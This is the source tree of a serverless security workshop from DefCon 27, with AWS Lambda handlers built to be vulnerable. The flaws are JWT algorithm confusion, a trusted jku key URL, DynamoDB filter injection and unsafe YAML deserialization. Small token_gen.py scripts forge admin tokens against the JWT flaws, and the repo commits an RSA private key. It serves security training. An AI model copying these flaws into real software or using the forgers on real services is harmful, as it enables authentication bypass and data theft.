├── .gitignore ├── .python-version ├── Algo-Confusion ├── handler.py ├── private.pem ├── public.pem ├── requirements.txt ├── serverless.yml └── token_gen.py ├── Basic-API ├── handler.py └── serverless.yml ├── Basic-Event ├── handler.py └── serverless.yml ├── DynamoDB-Injection ├── handler.py ├── ops │ └── create_dummies.py ├── requirements.txt └── serverless.yml ├── Insecure-Deserialization ├── handler.py ├── requirements.txt └── serverless.yml ├── JWT-JWK ├── handler.py ├── jwks.json ├── requirements.txt ├── serverless.yml └── token_gen.py ├── Pipfile ├── Pipfile.lock ├── XXE ├── Pass.docx ├── handler.py ├── requirements.txt └── serverless.yml ├── deck └── Pwning Serverless Applications - DefCon27.pdf ├── docs ├── .nojekyll ├── Algorithm-Confusion │ └── README.md ├── Basic-API │ └── README.md ├── Basic-Events │ ├── README.md │ └── img │ │ ├── copy-topic-arn.png │ │ ├── sns-search.png │ │ └── sns-topics.png ├── DynamoDB-Injection │ └── README.md ├── Insecure-Deserialization │ ├── README.md │ └── img │ │ └── ec2.png ├── JWT-JWK │ └── README.md ├── Lambdaguard │ └── README.md ├── README.md ├── XXE │ └── README.md ├── _coverpage.md ├── _sidebar.md ├── aws-configure │ ├── README.md │ └── img │ │ ├── aws_cred.png │ │ ├── config.png │ │ ├── creds.png │ │ └── get_config.png ├── img │ └── bti23.jpg ├── index.html └── using-the-labs │ ├── FAQs.md │ ├── README.md │ └── img │ ├── access_lab_link.png │ ├── artefacts.png │ ├── artefacts_icon.png │ ├── dash_board.png │ ├── lab-link.png │ ├── lab_provision.png │ ├── login.png │ ├── main-screen.png │ ├── press-play.png │ ├── register_page.png │ ├── server-prov-icon.png │ └── stop-lab.png └── provision └── sls-install.sh /.gitignore: -------------------------------------------------------------------------------- 1 | DynamoDB-Injection/.serverless/* 2 | Insecure-Deserialization/.serverless/* 3 | XXE/.serverless/* 4 | Serverless-Workshop/.gitattributes 5 | JWT-JWK/.serverless/* 6 | Basic-Event/.serverless/* 7 | Basic-API/.serverless/* 8 | .idea/ 9 | Algo-Confusion/.serverless/* 10 | .DS_Store 11 | -------------------------------------------------------------------------------- /.python-version: -------------------------------------------------------------------------------- 1 | 3.7.1 2 | -------------------------------------------------------------------------------- /Algo-Confusion/handler.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | import json 3 | 4 | 5 | def init(event, context): 6 | priv = open('private.pem', 'r').read() 7 | auth_token = jwt.encode({"user": "user", "authenticated": False}, priv, algorithm="RS256") 8 | return {"statusCode": 200, "body": json.dumps({"token": auth_token.decode()})} 9 | 10 | 11 | def verify(event, context): 12 | if 'headers' in event: 13 | if 'Authorization' in event['headers']: 14 | pub = open('public.pem', 'r').read() 15 | try: 16 | verified = jwt.decode(event['headers']['Authorization'], pub) 17 | return {"statusCode": 200, "body": json.dumps(verified)} 18 | except Exception as e: 19 | print(e) 20 | return {"statusCode": 403, "body": json.dumps({"error": "Unable to authorize"})} 21 | else: 22 | return {"statusCode": 400, "body": json.dumps({"error": "No Authorization code"})} 23 | -------------------------------------------------------------------------------- /Algo-Confusion/private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAxUxWtxqQJwide8PYqoZk0/lO9eFp47FA3Ob6WE9freRo4fnd 3 | jXfU8GZdU7xA8KTgnv/uqLugNJFRvnHTFJnXkE7rWogGWVjFLh26ZmYg8YKkAxkw 4 | 1coddXmMDmU7eErj3RTjMw5TKhL87//CkS4+nnfjR3XAq3CBTOOgL2/QBUDFjie+ 5 | 4zBSRX2xC/SFydCKI3Lueog4/cQgnqNaUp2pmfmCXtKduVjd0LkMPa+ySFkwlEJd 6 | FsGc1+XPAmPFthmOvwqDdcWtu3gdigWInn/9myQ7dSMK+P0GjKyfRRveuUY0qubm 7 | pvxLfuFexUCIF0aSZHdtVilLIR8IT9CYO0aofQIDAQABAoIBAAPUT3qOUW3whN36 8 | FyJ4KUzT8exjy6JXtmKTORitsbW2UTLRnrM4ODHSSs1tQfVpvdJYNVGhEqLyjxub 9 | KfWkZsKuRXMkYLsrNeiHOy7xnIITfwtwWbpMifXVvhopbNYQ3gtUdHRxOrv+Ulp2 10 | JFidBSoeOZMRfgPV0yyi3mENUoRHjNA45HxoDB+JtXrCoawORqRspPnFcRF1jvvs 11 | TaB/8Jt3phat9gXD1sZOlDVy/YrxhNCAd/Vwf0sGnS6961Mnf1441XOMp+Yj96/5 12 | x03Wqrv0UK1OeszdxRQ1Ojz7FxUwODGQueMozHEZRXpbN+uEqgIlsn4UETtaRXiF 13 | WyPWwgECgYEA72sCLesQf/B/bNm68QUyL+T1B9JMk081JsAFJs0+/959WpVvAcj7 14 | MKPu1XpPbxMIkCRFsr7R+hTbABNW84PbtLbP4OBfF/g4GX2bIYt0uqUeeT8XWPto 15 | 2JiQKe1NjH09ZQD/9XtyPDQHKbo0sDfWJTQRNKwOhKHvyiysH4MXhNECgYEA0vaG 16 | 1SKvArektABKZlclDgcWk0Cz1JhLQ6JiUSVBdYZNJoNXZHJoCIREEof3AZyMP21Q 17 | S8VUHgcWCW2e672/wlcU3UYVY0m3mP2hSiuacSATUS4qQ9U2Z4SNebqOtgCaPmYY 18 | KL2DsyMPoC/wA5lIrDiCRMj8UrBkNYZlv1JeQ+0CgYApVtzFePUcYjZeYSn6O99y 19 | jaIRe6plNSQEUNuS25WpMI2Meoj0UfOtbmDq03erwimUWe7+8hvnhnpaBPzah0YE 20 | ahxyw8snpGBrZljG7gF1yNT+MnqhjqeH3q/lzWe6flV/fzCy/mG3K3ShK9m1I68C 21 | NX9TDPJkzGFPE2+U8Vm6QQKBgHzVHBvqlhzJhlBtC5lbX7XZQ+aGluLp6z9uSzcx 22 | EHb2rZhoh8IMYLsJaS59/g+aDvNJQAZWEdxi3QtfLnbYpSveU55L5kQGTvncuyAk 23 | hRMDo+qZorDY7YR7zyuE1QWlfaAG0azp15Cc4pYrR58ZiQM/vPXu6EAV2HZDvNll 24 | aBpRAoGBAIL6bt5huLX9QnK4CguHA+JxkyQ1FqkfPzI3Qah4A/73Bd0X8d7+Xyne 25 | LaXEKvSJk/4IPURo76+J8f2Xg8SDPtlvOXWBPpotygggJk7HPBHXcIRmZ+4DdRsT 26 | jyvRWVFEGFk+AFFktSnTpbp0DJuX1JZaXatF5r5Z6lw0AGfBUVFV 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /Algo-Confusion/public.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxUxWtxqQJwide8PYqoZk 3 | 0/lO9eFp47FA3Ob6WE9freRo4fndjXfU8GZdU7xA8KTgnv/uqLugNJFRvnHTFJnX 4 | kE7rWogGWVjFLh26ZmYg8YKkAxkw1coddXmMDmU7eErj3RTjMw5TKhL87//CkS4+ 5 | nnfjR3XAq3CBTOOgL2/QBUDFjie+4zBSRX2xC/SFydCKI3Lueog4/cQgnqNaUp2p 6 | mfmCXtKduVjd0LkMPa+ySFkwlEJdFsGc1+XPAmPFthmOvwqDdcWtu3gdigWInn/9 7 | myQ7dSMK+P0GjKyfRRveuUY0qubmpvxLfuFexUCIF0aSZHdtVilLIR8IT9CYO0ao 8 | fQIDAQAB 9 | -----END RSA PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /Algo-Confusion/requirements.txt: -------------------------------------------------------------------------------- 1 | cryptography 2 | pyjwt==1.5.0 -------------------------------------------------------------------------------- /Algo-Confusion/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-workshop-algo-confusion 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 512 6 | timeout: 5 7 | stage: dev 8 | region: us-west-2 9 | iamRoleStatements: 10 | - Effect: "Allow" 11 | Action: 12 | - "logs:*" 13 | Resource: 14 | - "*" 15 | 16 | plugins: 17 | - serverless-python-requirements 18 | custom: 19 | pythonRequirements: 20 | dockerizePip: true 21 | usePipenv: false 22 | slim: true 23 | strip: false 24 | 25 | functions: 26 | init-algo: 27 | handler: handler.init 28 | events: 29 | - http: 30 | path: init 31 | method: GET 32 | cors: true 33 | verify-algo: 34 | handler: handler.verify 35 | events: 36 | - http: 37 | path: verify 38 | method: GET 39 | cors: true 40 | 41 | -------------------------------------------------------------------------------- /Algo-Confusion/token_gen.py: -------------------------------------------------------------------------------- 1 | import jwt 2 | from huepy import * 3 | from sys import argv 4 | from os.path import isfile 5 | 6 | if __name__ == "__main__": 7 | if len(argv) < 2: 8 | print("[!] Please provide an absolute file path for the public key") 9 | else: 10 | filepath = argv[1] 11 | if isfile(filepath): 12 | key = open(filepath, 'r').read() 13 | token = jwt.encode({"user": "admin", "authenticated": True}, key, algorithm="HS256").decode() 14 | print(green("[+] Token is:\n{}".format(token))) 15 | else: 16 | raise Exception("[!] File Not found. Please try again") 17 | -------------------------------------------------------------------------------- /Basic-API/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | 4 | def main(event, context): 5 | return {"statusCode": 200, "body": json.dumps({"success": "Hello World"})} 6 | -------------------------------------------------------------------------------- /Basic-API/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-basic-api 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 512 6 | timeout: 5 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | Resource: 16 | - "*" 17 | plugins: 18 | - serverless-python-requirements 19 | custom: 20 | pythonRequirements: 21 | dockerizePip: true 22 | usePipenv: false 23 | slim: true 24 | strip: false 25 | 26 | functions: 27 | basic-api: 28 | handler: handler.main 29 | timeout: 5 30 | events: 31 | - http: 32 | path: hello 33 | method: get -------------------------------------------------------------------------------- /Basic-Event/handler.py: -------------------------------------------------------------------------------- 1 | def main(event,context): 2 | print(event) -------------------------------------------------------------------------------- /Basic-Event/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-basic-event 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 512 6 | timeout: 5 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | - "sns:*" 16 | Resource: 17 | - "*" 18 | 19 | plugins: 20 | - serverless-python-requirements 21 | custom: 22 | pythonRequirements: 23 | dockerizePip: true 24 | usePipenv: false 25 | slim: true 26 | strip: false 27 | 28 | functions: 29 | sns-reactor: 30 | handler: handler.main 31 | timeout: 5 32 | events: 33 | - sns: we45-sls-workshop-basic -------------------------------------------------------------------------------- /DynamoDB-Injection/handler.py: -------------------------------------------------------------------------------- 1 | import json 2 | import boto3 3 | 4 | db = boto3.client('dynamodb') 5 | 6 | 7 | def main(event, context): 8 | if 'body' in event: 9 | jbody = json.loads(event['body']) 10 | if 'db' in jbody and 'search_term' in jbody and 'search_operator' in jbody \ 11 | and 'search_field' in jbody: 12 | 13 | response = db.scan(TableName=jbody['db'], Select='ALL_ATTRIBUTES', ScanFilter={ 14 | jbody['search_field']: {"AttributeValueList": [{"S": jbody['search_term']}], 15 | "ComparisonOperator": jbody['search_operator']} 16 | }) 17 | if 'Items' in response: 18 | return {"statusCode": 200, "body": json.dumps(response['Items'])} 19 | else: 20 | return {"statusCode": 404, "body": json.dumps([])} 21 | else: 22 | return {"statusCode": 404, "body": json.dumps({"error": "Mandatory fields not in query"})} 23 | -------------------------------------------------------------------------------- /DynamoDB-Injection/ops/create_dummies.py: -------------------------------------------------------------------------------- 1 | import boto3 2 | from faker import Faker 3 | from huepy import * 4 | from time import sleep 5 | import sys 6 | import hashlib 7 | 8 | def run_fake_cards(table_name): 9 | fake = Faker() 10 | dynamo = boto3.resource('dynamodb') 11 | pci_table = dynamo.Table(table_name) 12 | 13 | for i in range(0, 50): 14 | name = fake.name() 15 | try: 16 | pci_table.put_item(Item = { 17 | 'payment-card': fake.credit_card_number(card_type=None), 18 | 'full_name': name, 19 | 'cvv': fake.credit_card_security_code(card_type=None), 20 | 'expiration': fake.credit_card_expire(start = "now", end = "+5y", date_format="%m/%y") 21 | }) 22 | print(good("Successfully generated card number for {}".format(name))) 23 | sleep(1) 24 | except Exception as e: 25 | print(bad(str(e))) 26 | 27 | def run_fake_users(table_name): 28 | fake = Faker() 29 | dynamo = boto3.resource('dynamodb') 30 | pci_table = dynamo.Table(table_name) 31 | 32 | for i in range(0, 50): 33 | fname = fake.first_name() 34 | lname = fake.last_name() 35 | try: 36 | pci_table.put_item(Item={ 37 | 'email': fake.safe_email(), 38 | 'first_name': fname, 39 | 'last_name': lname, 40 | 'username': fake.user_name(), 41 | 'password': hashlib.md5(str.encode(fake.password())).hexdigest() 42 | }) 43 | print(good("Successfully generated User Information for {} {}".format(fname, lname))) 44 | sleep(1) 45 | except Exception as e: 46 | print(bad(str(e))) 47 | 48 | if __name__ == '__main__': 49 | if len(sys.argv) < 3: 50 | print(bad('Please provide the table_name and action')) 51 | sys.exit(1) 52 | else: 53 | if sys.argv[1] == 'users': 54 | run_fake_users(sys.argv[2]) 55 | elif sys.argv[1] == 'cards': 56 | run_fake_cards(sys.argv[2]) 57 | else: 58 | print(bad("Only options are 'users' and 'cards'. None of that found")) 59 | sys.exit(1) 60 | 61 | -------------------------------------------------------------------------------- /DynamoDB-Injection/requirements.txt: -------------------------------------------------------------------------------- 1 | boto3 -------------------------------------------------------------------------------- /DynamoDB-Injection/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-workshop-dynamo-inject 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 2048 6 | timeout: 20 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | - "dynamodb:*" 16 | Resource: 17 | - "*" 18 | 19 | plugins: 20 | - serverless-python-requirements 21 | custom: 22 | pythonRequirements: 23 | dockerizePip: true 24 | usePipenv: false 25 | slim: true 26 | strip: false 27 | 28 | functions: 29 | deserial: 30 | handler: handler.main 31 | timeout: 20 32 | events: 33 | - http: 34 | path: dynamo-search 35 | method: post 36 | cors: true 37 | 38 | resources: 39 | Resources: 40 | userDynamoTable: 41 | Type: AWS::DynamoDB::Table 42 | Properties: 43 | AttributeDefinitions: 44 | - AttributeName: email 45 | AttributeType: S 46 | KeySchema: 47 | - AttributeName: email 48 | KeyType: HASH 49 | ProvisionedThroughput: 50 | ReadCapacityUnits: '5' 51 | WriteCapacityUnits: '5' 52 | TableName: we45-sls-users 53 | cardDynamoTable: 54 | Type: AWS::DynamoDB::Table 55 | Properties: 56 | AttributeDefinitions: 57 | - AttributeName: payment-card 58 | AttributeType: S 59 | KeySchema: 60 | - AttributeName: payment-card 61 | KeyType: HASH 62 | ProvisionedThroughput: 63 | ReadCapacityUnits: '5' 64 | WriteCapacityUnits: '5' 65 | TableName: we45-sls-payments -------------------------------------------------------------------------------- /Insecure-Deserialization/handler.py: -------------------------------------------------------------------------------- 1 | import yaml 2 | import json 3 | from base64 import b64encode 4 | 5 | 6 | def main(event, context): 7 | if 'body' in event: 8 | yfile = json.loads(event['body']) 9 | ycontent = yaml.load(yfile['file']) 10 | if 'reason' in ycontent: 11 | ycontent['reason'] = b64encode(ycontent['reason']).decode() 12 | return {"statusCode": 200, "body": json.dumps({"content": ycontent})} -------------------------------------------------------------------------------- /Insecure-Deserialization/requirements.txt: -------------------------------------------------------------------------------- 1 | pyyaml==3.13 -------------------------------------------------------------------------------- /Insecure-Deserialization/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-workshop-deserial 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 2048 6 | timeout: 20 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | - "ec2:*" 16 | - "s3:*" 17 | Resource: 18 | - "*" 19 | 20 | plugins: 21 | - serverless-python-requirements 22 | custom: 23 | pythonRequirements: 24 | dockerizePip: true 25 | usePipenv: false 26 | slim: true 27 | strip: false 28 | 29 | functions: 30 | deserial: 31 | handler: handler.main 32 | timeout: 20 33 | events: 34 | - http: 35 | path: yaml-upload 36 | method: post 37 | cors: true -------------------------------------------------------------------------------- /JWT-JWK/handler.py: -------------------------------------------------------------------------------- 1 | from jwcrypto import jwk, jwt 2 | import json 3 | import requests 4 | import jwt as jpy 5 | import boto3 6 | from os import environ 7 | from urllib.parse import urlparse 8 | 9 | ssm = boto3.client("ssm") 10 | s3 = boto3.client("s3") 11 | bucket = environ.get('BUCKET_NAME') 12 | s3_url = "" 13 | 14 | 15 | def get_ssm_parameter(key, secure=False): 16 | value = ssm.get_parameter(Name=key, WithDecryption=secure) 17 | if 'Parameter' in value: 18 | if 'Value' in value["Parameter"]: 19 | return value['Parameter']['Value'] 20 | else: 21 | raise Exception("Unable to get param") 22 | 23 | 24 | def main(event, context): 25 | if 'headers' in event: 26 | if 'Authorization' in event['headers']: 27 | try: 28 | token_headers = jpy.get_unverified_header( 29 | event['headers']['Authorization']) 30 | if 'jku' in token_headers: 31 | r = requests.get(token_headers['jku']).json() 32 | j = json.dumps(r) 33 | keyset = jwk.JWKSet.from_json(j) 34 | print("Keyset", keyset) 35 | mykey = keyset.get_key(kid="we45") 36 | print("Key", mykey) 37 | decoded_token = jwt.JWT( 38 | key=mykey, jwt=event['headers']['Authorization']) 39 | print("Decoded", decoded_token) 40 | json_decode = json.loads(decoded_token.claims) 41 | print(json_decode) 42 | if 'user' in json_decode: 43 | if json_decode['user'] == "user": 44 | return {"statusCode": 200, "body": json.dumps({"success": "you are a user"})} 45 | elif json_decode['user'] == "admin": 46 | return {"statusCode": 200, "body": json.dumps({"success": "you are an admin"})} 47 | else: 48 | return {"statusCode": 400, "body": json.dumps( 49 | {"error": "Sorry! Can't figure out what kind of user you are"})} 50 | except Exception as e: 51 | print(e) 52 | return {"statusCode": 400, "body": json.dumps({"error": "Unable to validate JWT"})} 53 | 54 | 55 | def login(event, context): 56 | try: 57 | data = json.loads(event['body']) 58 | if data['user'] == "admin" and data['password'] == "admin": 59 | import_key = get_ssm_parameter("jwk-priv-key", secure=True) 60 | jku_url = get_ssm_parameter("jku-url") 61 | priv = jwk.JWK.from_json(import_key) 62 | token = jwt.JWT(header={"alg": "RS256", "jku": jku_url}, 63 | claims={"user": "user"} 64 | ) 65 | token.make_signed_token(priv) 66 | final = token.serialize() 67 | return {"statusCode": 200, "body": json.dumps({"user": "user", "token": final})} 68 | 69 | 70 | except Exception as e: 71 | print(e) 72 | 73 | 74 | def init(event, context): 75 | key = jwk.JWK.generate(kty="RSA", size=2048) 76 | json_key = key.export(private_key=True) 77 | pub_key = json.loads(key.export_public()) 78 | print(pub_key) 79 | put_ssm = ssm.put_parameter( 80 | Name="jwk-priv-key", 81 | Description="Private key for JWK for Serverless Workshop", 82 | Value=json_key, 83 | Type="SecureString", 84 | Overwrite=True 85 | ) 86 | if 'Version' in put_ssm: 87 | pub_key['use'] = "sig" 88 | pub_key['kid'] = "we45" 89 | pub_key['alg'] = "RS256" 90 | try: 91 | final_pub = json.dumps({"keys": [pub_key]}).encode() 92 | s3.put_object(Body=final_pub, Bucket=bucket, Key="jwks.json", ACL="public-read") 93 | global s3_url 94 | s3_url = s3.generate_presigned_url( 95 | ClientMethod='get_object', 96 | Params={ 97 | 'Bucket': bucket, 98 | 'Key': "jwks.json" 99 | } 100 | ) 101 | parsed_parts = urlparse(s3_url) 102 | fii_in_url = "{}://{}{}".format(parsed_parts.scheme, parsed_parts.netloc, parsed_parts.path) 103 | jku_url = ssm.put_parameter( 104 | Name="jku-url", 105 | Description="JKU URL", 106 | Value=fii_in_url, 107 | Type="String", 108 | Overwrite=True 109 | ) 110 | return {"statusCode": 200, 111 | "body": json.dumps({"url": fii_in_url})} 112 | except Exception as e: 113 | print(e) 114 | return {"statusCode": 400, "body": json.dumps({"error": e.__str__})} 115 | else: 116 | return {"statusCode": 200, "body": json.dumps({"error": "Unable to store Private Key"})} 117 | -------------------------------------------------------------------------------- /JWT-JWK/jwks.json: -------------------------------------------------------------------------------- 1 | {"keys": [{"e": "AQAB", "kty": "RSA", "n": "uPcA2zQKF1kwDfYou6WG6sMxDsl9F5vzvjrkPC7uSQNZ0wfWfEYUd1ka7Bv_pXzyXgyDiOZOFxREiO6gSo2pMhHA9Nh7czceYGSau_Vf_b30ytbIip1u-h-ufmeOzoAAavyhRt067A7wdhLZyhqTlNUniZxo9N874fLrMwta6QbNm9SWzVLacuYWHCZwAK5sFX-iuzrwBpm_kzXd7XjwF6WnaT8RaVcLdHEnIjsiRkzI5yKLb10TUv3Cjk4uNahxPcOJhEqYZ-8qG7DbxjE4Q8u2tHR9IEmjr9oRiSPBlibKIAWfhUu4VY3IL91FqKoMTOEr07KOKiy4ccIe8fzTRQ", "use": "sig", "kid": "we45", "alg": "RS256"}]} -------------------------------------------------------------------------------- /JWT-JWK/requirements.txt: -------------------------------------------------------------------------------- 1 | jwcrypto 2 | pyjwt 3 | requests 4 | boto3 -------------------------------------------------------------------------------- /JWT-JWK/serverless.yml: -------------------------------------------------------------------------------- 1 | service: we45-sls-workshop-jwk 2 | provider: 3 | name: aws 4 | runtime: python3.7 5 | memorySize: 2048 6 | timeout: 20 7 | stage: dev 8 | region: us-west-2 9 | 10 | # you can add statements to the Lambda function's IAM Role here 11 | iamRoleStatements: 12 | - Effect: "Allow" 13 | Action: 14 | - "logs:*" 15 | - "s3:*" 16 | - "ssm:*" 17 | Resource: 18 | - "*" 19 | 20 | plugins: 21 | - serverless-python-requirements 22 | custom: 23 | pythonRequirements: 24 | dockerizePip: true 25 | usePipenv: false 26 | slim: true 27 | strip: false 28 | 29 | resources: 30 | Resources: 31 | S3JWKBucket: 32 | Type: AWS::S3::Bucket 33 | Properties: 34 | BucketName: jwk-resources-${sls:instanceId} 35 | 36 | functions: 37 | jwk-validate: 38 | handler: handler.main 39 | timeout: 20 40 | events: 41 | - http: 42 | path: jwk 43 | method: get 44 | cors: true 45 | jwk-init: 46 | handler: handler.init 47 | environment: 48 | BUCKET_NAME: ${self:resources.Resources.S3JWKBucket.Properties.BucketName} 49 | events: 50 | - http: 51 | path: init 52 | method: get 53 | cors: true 54 | jwk-login: 55 | handler: handler.login 56 | events: 57 | - http: 58 | path: login 59 | method: post 60 | cors: true 61 | 62 | -------------------------------------------------------------------------------- /JWT-JWK/token_gen.py: -------------------------------------------------------------------------------- 1 | from jwcrypto import jwk, jwt 2 | import json 3 | from sys import argv 4 | 5 | 6 | def main(url): 7 | gen_key = jwk.JWK.generate(kty='RSA', size=2048) 8 | public = json.loads(gen_key.export_public()) 9 | public['use'] = "sig" 10 | public['kid'] = "we45" 11 | public['alg'] = "RS256" 12 | full_key = {"keys": [public]} 13 | with open('jwks.json', 'w') as keyfile: 14 | keyfile.write(json.dumps(full_key)) 15 | print("[ + ] Written to jwks.json") 16 | 17 | newtoken = jwt.JWT(header={"alg": "RS256", "jku": "{}/jwks.json".format(url)}, claims={"user": "admin"}) 18 | newtoken.make_signed_token(gen_key) 19 | print("Generated token:", newtoken.serialize()) 20 | 21 | 22 | if __name__ == "__main__": 23 | if len(argv) < 2: 24 | print("[ ! ] You need to add a domain to generate JWK") 25 | else: 26 | url = argv[1] 27 | main(url) 28 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | name = "pypi" 3 | url = "https://pypi.org/simple" 4 | verify_ssl = true 5 | 6 | [dev-packages] 7 | faker = "*" 8 | huepy = "*" 9 | lambdaguard = "*" 10 | 11 | [packages] 12 | python-docx = "==0.8.3" 13 | boto3 = "*" 14 | pyyaml = "==3.13" 15 | jwcrypto = "*" 16 | pyjwt = "==1.4.2" 17 | 18 | [requires] 19 | python_version = "3.7" 20 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "2520779fb4c0e2ce7c91c6d81b0b2927528745cf6ea62abab9c7ab79de61db93" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.7" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "asn1crypto": { 20 | "hashes": [ 21 | "sha256:2f1adbb7546ed199e3c90ef23ec95c5cf3585bac7d11fb7eb562a3fe89c64e87", 22 | "sha256:9d5c20441baf0cb60a4ac34cc447c6c189024b6b4c6cd7877034f4965c464e49" 23 | ], 24 | "version": "==0.24.0" 25 | }, 26 | "boto3": { 27 | "hashes": [ 28 | "sha256:01f1792838981191da87bed271f2b486841a282fcd78a3b5bac98e5b85c95ba8", 29 | "sha256:0f1f796abf85e53a8a50b893cbeccd93ee081184453127b663da4b97d72aa0cc" 30 | ], 31 | "index": "pypi", 32 | "version": "==1.9.197" 33 | }, 34 | "botocore": { 35 | "hashes": [ 36 | "sha256:6e7c49014430f73ba6ab638d4ad313f8522b8185e476fe1a57ce9cd50c596062", 37 | "sha256:78627966a280328e4a7018758e91e6413d5cae8387e08ab219e232689a92cb45" 38 | ], 39 | "version": "==1.12.197" 40 | }, 41 | "cffi": { 42 | "hashes": [ 43 | "sha256:041c81822e9f84b1d9c401182e174996f0bae9991f33725d059b771744290774", 44 | "sha256:046ef9a22f5d3eed06334d01b1e836977eeef500d9b78e9ef693f9380ad0b83d", 45 | "sha256:066bc4c7895c91812eff46f4b1c285220947d4aa46fa0a2651ff85f2afae9c90", 46 | "sha256:066c7ff148ae33040c01058662d6752fd73fbc8e64787229ea8498c7d7f4041b", 47 | "sha256:2444d0c61f03dcd26dbf7600cf64354376ee579acad77aef459e34efcb438c63", 48 | "sha256:300832850b8f7967e278870c5d51e3819b9aad8f0a2c8dbe39ab11f119237f45", 49 | "sha256:34c77afe85b6b9e967bd8154e3855e847b70ca42043db6ad17f26899a3df1b25", 50 | "sha256:46de5fa00f7ac09f020729148ff632819649b3e05a007d286242c4882f7b1dc3", 51 | "sha256:4aa8ee7ba27c472d429b980c51e714a24f47ca296d53f4d7868075b175866f4b", 52 | "sha256:4d0004eb4351e35ed950c14c11e734182591465a33e960a4ab5e8d4f04d72647", 53 | "sha256:4e3d3f31a1e202b0f5a35ba3bc4eb41e2fc2b11c1eff38b362de710bcffb5016", 54 | "sha256:50bec6d35e6b1aaeb17f7c4e2b9374ebf95a8975d57863546fa83e8d31bdb8c4", 55 | "sha256:55cad9a6df1e2a1d62063f79d0881a414a906a6962bc160ac968cc03ed3efcfb", 56 | "sha256:5662ad4e4e84f1eaa8efce5da695c5d2e229c563f9d5ce5b0113f71321bcf753", 57 | "sha256:59b4dc008f98fc6ee2bb4fd7fc786a8d70000d058c2bbe2698275bc53a8d3fa7", 58 | "sha256:73e1ffefe05e4ccd7bcea61af76f36077b914f92b76f95ccf00b0c1b9186f3f9", 59 | "sha256:a1f0fd46eba2d71ce1589f7e50a9e2ffaeb739fb2c11e8192aa2b45d5f6cc41f", 60 | "sha256:a2e85dc204556657661051ff4bab75a84e968669765c8a2cd425918699c3d0e8", 61 | "sha256:a5457d47dfff24882a21492e5815f891c0ca35fefae8aa742c6c263dac16ef1f", 62 | "sha256:a8dccd61d52a8dae4a825cdbb7735da530179fea472903eb871a5513b5abbfdc", 63 | "sha256:ae61af521ed676cf16ae94f30fe202781a38d7178b6b4ab622e4eec8cefaff42", 64 | "sha256:b012a5edb48288f77a63dba0840c92d0504aa215612da4541b7b42d849bc83a3", 65 | "sha256:d2c5cfa536227f57f97c92ac30c8109688ace8fa4ac086d19d0af47d134e2909", 66 | "sha256:d42b5796e20aacc9d15e66befb7a345454eef794fdb0737d1af593447c6c8f45", 67 | "sha256:dee54f5d30d775f525894d67b1495625dd9322945e7fee00731952e0368ff42d", 68 | "sha256:e070535507bd6aa07124258171be2ee8dfc19119c28ca94c9dfb7efd23564512", 69 | "sha256:e1ff2748c84d97b065cc95429814cdba39bcbd77c9c85c89344b317dc0d9cbff", 70 | "sha256:ed851c75d1e0e043cbf5ca9a8e1b13c4c90f3fbd863dacb01c0808e2b5204201" 71 | ], 72 | "version": "==1.12.3" 73 | }, 74 | "cryptography": { 75 | "hashes": [ 76 | "sha256:24b61e5fcb506424d3ec4e18bca995833839bf13c59fc43e530e488f28d46b8c", 77 | "sha256:25dd1581a183e9e7a806fe0543f485103232f940fcfc301db65e630512cce643", 78 | "sha256:3452bba7c21c69f2df772762be0066c7ed5dc65df494a1d53a58b683a83e1216", 79 | "sha256:41a0be220dd1ed9e998f5891948306eb8c812b512dc398e5a01846d855050799", 80 | "sha256:5751d8a11b956fbfa314f6553d186b94aa70fdb03d8a4d4f1c82dcacf0cbe28a", 81 | "sha256:5f61c7d749048fa6e3322258b4263463bfccefecb0dd731b6561cb617a1d9bb9", 82 | "sha256:72e24c521fa2106f19623a3851e9f89ddfdeb9ac63871c7643790f872a305dfc", 83 | "sha256:7b97ae6ef5cba2e3bb14256625423413d5ce8d1abb91d4f29b6d1a081da765f8", 84 | "sha256:961e886d8a3590fd2c723cf07be14e2a91cf53c25f02435c04d39e90780e3b53", 85 | "sha256:96d8473848e984184b6728e2c9d391482008646276c3ff084a1bd89e15ff53a1", 86 | "sha256:ae536da50c7ad1e002c3eee101871d93abdc90d9c5f651818450a0d3af718609", 87 | 